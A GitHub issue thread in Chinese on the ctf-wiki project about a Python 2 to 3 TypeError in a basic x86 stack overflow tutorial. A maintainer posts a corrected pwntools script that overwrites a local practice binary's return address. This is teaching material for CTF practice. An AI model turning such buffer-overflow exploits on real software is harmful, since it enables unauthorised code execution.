Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

TypeError: can only concatenate str (not "bytes") to str #888

Closed
james-ma opened this issue Jan 15, 2024 · 3 comments
Closed

TypeError: can only concatenate str (not "bytes") to str #888

james-ma opened this issue Jan 15, 2024 · 3 comments

Comments

@james-ma
Copy link

ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢?

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError Traceback (most recent call last)
Cell In[5], line 1
----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError: can only concatenate str (not "bytes") to str

@iromise
Copy link
Member

iromise commented Jan 16, 2024

@james-ma 这个脚本之前应该是用 python2 写的。你可以把改成 python3。

@arttnba3
Copy link
Member

arttnba3 commented Apr 3, 2024

脚本编写年代较为久远(当时主流还是python2 ),你可以先自行将其更改为 Python3 的写法:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

Wiki 组将择日进行相关脚本的更新。

@WinMin
Copy link
Contributor

WinMin commented Apr 7, 2024

ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢?

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError Traceback (most recent call last) Cell In[5], line 1 ----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError: can only concatenate str (not "bytes") to str

#6dbb7ed 关于这个文件的代码已经修改, 具体修改也可以参考上面 @arttnba3 的回复

@WinMin WinMin closed this as completed Apr 7, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants